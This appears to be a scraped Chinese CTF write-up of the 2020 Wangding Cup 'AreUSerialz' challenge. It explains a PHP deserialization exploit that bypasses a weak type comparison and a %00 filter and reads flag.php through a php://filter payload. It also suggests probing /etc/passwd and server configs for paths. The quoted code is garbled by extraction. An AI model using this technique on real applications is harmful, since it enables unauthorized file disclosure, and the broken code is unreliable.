網鼎盃 2020 青龍組 AreUSerialz

2022-01-18 12:45:11 字數 2668 閱讀 5995

<?php 

include("flag.php");

highlight_file(__file__);

class filehandler

public function process() else if($this->op == "2") else

}private function write()

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("successful!");

else $this->output("failed!");

} else

}private function read()

return $res;

}private function output($s)

function __destruct()

}function is_valid($s)

if(isset($_get))

}

php反序列化漏洞,比賽的時候做出來了,在buuoj上再復現記錄一下。

檢視**可以看出來,get方式傳入序列化的str字串,str字串中每乙個字元的ascii範圍在32到125之間,然後對其反序列化。

在反序列化的過程中,呼叫__destruct析構方法

function __destruct()
如果op==="2",將其賦為"1",同時content賦為空,進入process函式,需要注意到的地方是,這裡op與"2"比較的時候是強型別比較

public function process()  else if($this->op == "2")  else 

}

進入process函式後,如果op=="1",則進入write函式,若op=="2",則進入read函式,否則輸出報錯,可以看出來這裡op與字串的比較變成了弱型別比較==。

所以我們只要令op=2,這裡的2是整數int。當op=2時,op==="2"為false,op=="2"為true,接著進入read函式

private function read() 

return $res;

}

filename是我們可以控制的,接著使用file_get_contents函式讀取檔案,我們此處借助php://filter偽協議讀取檔案,獲取到檔案後使用output函式輸出

private function output($s)
整個利用思路就很明顯了,還有乙個需要注意的地方是,$op,$filename,$content三個變數許可權都是protected,而protected許可權的變數在序列化的時會有%00*%00字元,%00字元的ascii碼為0,就無法通過上面的is_valid函式校驗。

<?php 

class filehandler

public function process() else if($this->op == "2") else

}private function write()

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("successful!");

else $this->output("failed!");

} else

}private function read()

return $res;

}private function output($s)

function __destruct()

}$a=new filehandler();

$b=serialize($a);

echo $b;

執行之後,這三個箭頭指向的地方字元顯示不正確的地方就是%00字元

在這裡有幾種繞過的方式,簡單的一種是:php7.1+版本對屬性型別不敏感,本地序列化的時候將屬性改為public進行繞過即可

即:

public $op=2;

public $filename="php://filter/read=convert.base64-encode/resource=flag.php";

public $content;

現在得到的結果就沒有%00字元了

buuoj平台復現的話使用上面這個payload就已經可以讀取flag了:

比賽的時候還有相對路徑和絕對路徑的問題,需要拿到絕對路徑才能讀取flag

可以先嘗試讀取/etc/passwd檢驗自己的payload是否正確,然後再讀取伺服器上的配置檔案,猜出flag.php所在的絕對路徑,再將其讀取。

下面這個payload是比賽的時候用的,buuoj上環境路徑不一樣。

以上。

網鼎盃 2020 青龍組 AreUSerialz

知識點 php強型別比較,可以通過 不同型別 達到繞過目的 php7.1以上版本 對類的型別定義不敏感 file get contents 偽協議檔案讀取 include flag.php highlight file file class filehandler public function p...

網鼎盃 2020 青龍組 AreUSerialz

考點 php反序列化 原始碼 include flag.php highlight file file class filehandler public function process elseif this op 2 else private function write res file pu...

網鼎盃 2020 青龍組 notes wp

人生艱難,做了兩天。學到不少。給了js 第一次做js題,賊難受。var express require express var path require path const undefsafe require undefsafe const require child process expres...